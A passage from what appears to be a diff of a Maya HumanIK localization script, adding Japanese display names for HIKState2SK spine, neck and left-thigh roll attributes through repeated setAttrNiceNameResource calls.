"Spine6ISy", "脊椎 6 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6ISz", "脊椎 6 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreR", "脊椎 6 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreRx", "脊椎 6 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreRy", "脊椎 6 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PreRz", "脊椎 6 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostR", "脊椎 6 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostRx", "脊椎 6 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostRy", "脊椎 6 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine6PostRz", "脊椎 6 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7T", "脊椎 7 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Tx", "脊椎 7 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Ty", "脊椎 7 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Tz", "脊椎 7 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7R", "脊椎 7 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Rx", "脊椎 7 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Ry", "脊椎 7 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Rz", "脊椎 7 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7S", "脊椎 7 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Sx", "脊椎 7 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Sy", "脊椎 7 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7Sz", "脊椎 7 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PGX", "脊椎 7 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ROrder", "脊椎 7 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7SC", "脊椎 7 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7IS", "脊椎 7 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ISx", "脊椎 7 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ISy", "脊椎 7 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7ISz", "脊椎 7 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreR", "脊椎 7 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreRx", "脊椎 7 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreRy", "脊椎 7 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PreRz", "脊椎 7 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostR", "脊椎 7 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostRx", "脊椎 7 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostRy", "脊椎 7 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine7PostRz", "脊椎 7 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8T", "脊椎 8 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Tx", "脊椎 8 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Ty", "脊椎 8 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Tz", "脊椎 8 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8R", "脊椎 8 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Rx", "脊椎 8 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Ry", "脊椎 8 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Rz", "脊椎 8 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8S", "脊椎 8 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Sx", "脊椎 8 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Sy", "脊椎 8 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8Sz", "脊椎 8 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PGX", "脊椎 8 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ROrder", "脊椎 8 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8SC", "脊椎 8 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8IS", "脊椎 8 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ISx", "脊椎 8 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ISy", "脊椎 8 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8ISz", "脊椎 8 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreR", "脊椎 8 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreRx", "脊椎 8 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreRy", "脊椎 8 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PreRz", "脊椎 8 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostR", "脊椎 8 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostRx", "脊椎 8 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostRy", "脊椎 8 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine8PostRz", "脊椎 8 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9T", "脊椎 9 T" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Tx", "脊椎 9 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Ty", "脊椎 9 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Tz", "脊椎 9 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9R", "脊椎 9 R" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Rx", "脊椎 9 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Ry", "脊椎 9 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Rz", "脊椎 9 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9S", "脊椎 9 S" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Sx", "脊椎 9 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Sy", "脊椎 9 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9Sz", "脊椎 9 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PGX", "脊椎 9 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ROrder", "脊椎 9 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9SC", "脊椎 9 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9IS", "脊椎 9 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ISx", "脊椎 9 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ISy", "脊椎 9 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9ISz", "脊椎 9 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreR", "脊椎 9 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreRx", "脊椎 9 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreRy", "脊椎 9 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PreRz", "脊椎 9 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostR", "脊椎 9 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostRx", "脊椎 9 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostRy", "脊椎 9 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Spine9PostRz", "脊椎 9 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1T", "首 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Tx", "首 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Ty", "首 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Tz", "首 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1R", "首 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Rx", "首 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Ry", "首 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Rz", "首 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1S", "首 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Sx", "首 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Sy", "首 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1Sz", "首 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PGX", "首 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ROrder", "首 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1SC", "首 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1IS", "首 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ISx", "首 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ISy", "首 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1ISz", "首 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreR", "首 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreRx", "首 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreRy", "首 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PreRz", "首 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostR", "首 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostRx", "首 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostRy", "首 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck1PostRz", "首 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2T", "首 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Tx", "首 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Ty", "首 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Tz", "首 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2R", "首 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Rx", "首 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Ry", "首 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Rz", "首 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2S", "首 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Sx", "首 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Sy", "首 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2Sz", "首 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PGX", "首 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ROrder", "首 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2SC", "首 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2IS", "首 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ISx", "首 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ISy", "首 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2ISz", "首 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreR", "首 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreRx", "首 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreRy", "首 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PreRz", "首 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostR", "首 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostRx", "首 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostRy", "首 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck2PostRz", "首 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3T", "首 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Tx", "首 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Ty", "首 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Tz", "首 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3R", "首 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Rx", "首 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Ry", "首 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Rz", "首 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3S", "首 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Sx", "首 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Sy", "首 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3Sz", "首 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PGX", "首 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ROrder", "首 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3SC", "首 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3IS", "首 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ISx", "首 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ISy", "首 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3ISz", "首 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreR", "首 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreRx", "首 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreRy", "首 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PreRz", "首 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostR", "首 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostRx", "首 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostRy", "首 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck3PostRz", "首 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4T", "首 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Tx", "首 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Ty", "首 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Tz", "首 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4R", "首 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Rx", "首 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Ry", "首 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Rz", "首 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4S", "首 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Sx", "首 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Sy", "首 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4Sz", "首 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PGX", "首 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ROrder", "首 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4SC", "首 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4IS", "首 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ISx", "首 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ISy", "首 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4ISz", "首 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreR", "首 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreRx", "首 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreRy", "首 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PreRz", "首 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostR", "首 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostRx", "首 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostRy", "首 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck4PostRz", "首 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5T", "首 5 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Tx", "首 5 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Ty", "首 5 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Tz", "首 5 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5R", "首 5 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Rx", "首 5 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Ry", "首 5 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Rz", "首 5 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5S", "首 5 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Sx", "首 5 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Sy", "首 5 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5Sz", "首 5 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PGX", "首 5 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ROrder", "首 5 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5SC", "首 5 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5IS", "首 5 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ISx", "首 5 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ISy", "首 5 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5ISz", "首 5 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreR", "首 5 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreRx", "首 5 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreRy", "首 5 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PreRz", "首 5 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostR", "首 5 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostRx", "首 5 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostRy", "首 5 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck5PostRz", "首 5 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6T", "首 6 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Tx", "首 6 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Ty", "首 6 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Tz", "首 6 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6R", "首 6 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Rx", "首 6 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Ry", "首 6 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Rz", "首 6 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6S", "首 6 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Sx", "首 6 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Sy", "首 6 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6Sz", "首 6 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PGX", "首 6 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ROrder", "首 6 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6SC", "首 6 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6IS", "首 6 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ISx", "首 6 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ISy", "首 6 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6ISz", "首 6 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreR", "首 6 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreRx", "首 6 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreRy", "首 6 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PreRz", "首 6 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostR", "首 6 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostRx", "首 6 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostRy", "首 6 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck6PostRz", "首 6 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7T", "首 7 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Tx", "首 7 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Ty", "首 7 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Tz", "首 7 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7R", "首 7 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Rx", "首 7 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Ry", "首 7 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Rz", "首 7 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7S", "首 7 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Sx", "首 7 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Sy", "首 7 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7Sz", "首 7 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PGX", "首 7 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ROrder", "首 7 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7SC", "首 7 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7IS", "首 7 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ISx", "首 7 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ISy", "首 7 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7ISz", "首 7 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreR", "首 7 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreRx", "首 7 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreRy", "首 7 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PreRz", "首 7 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostR", "首 7 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostRx", "首 7 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostRy", "首 7 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck7PostRz", "首 7 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8T", "首 8 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Tx", "首 8 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Ty", "首 8 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Tz", "首 8 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8R", "首 8 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Rx", "首 8 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Ry", "首 8 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Rz", "首 8 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8S", "首 8 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Sx", "首 8 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Sy", "首 8 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8Sz", "首 8 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PGX", "首 8 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ROrder", "首 8 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8SC", "首 8 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8IS", "首 8 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ISx", "首 8 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ISy", "首 8 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8ISz", "首 8 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreR", "首 8 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreRx", "首 8 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreRy", "首 8 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PreRz", "首 8 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostR", "首 8 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostRx", "首 8 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostRy", "首 8 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck8PostRz", "首 8 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9T", "首 9 T" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Tx", "首 9 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Ty", "首 9 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Tz", "首 9 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9R", "首 9 R" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Rx", "首 9 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Ry", "首 9 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Rz", "首 9 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9S", "首 9 S" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Sx", "首 9 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Sy", "首 9 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9Sz", "首 9 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PGX", "首 9 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ROrder", "首 9 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9SC", "首 9 SC" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9IS", "首 9 IS" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ISx", "首 9 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ISy", "首 9 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9ISz", "首 9 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreR", "首 9 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreRx", "首 9 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreRy", "首 9 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PreRz", "首 9 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostR", "首 9 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostRx", "首 9 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostRy", "首 9 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "Neck9PostRz", "首 9 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollT", "左大腿部ロール T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollTx", "左大腿部ロール Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollTy", "左大腿部ロール Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollTz", "左大腿部ロール Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollR", "左大腿部ロール R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollRx", "左大腿部ロール Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollRy", "左大腿部ロール Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollRz", "左大腿部ロール Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollS", "左大腿部ロール S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSx", "左大腿部ロール Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSy", "左大腿部ロール Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftUpLegRollSz", "左大腿部ロール Sz" ); +setAttrNiceNameResource( 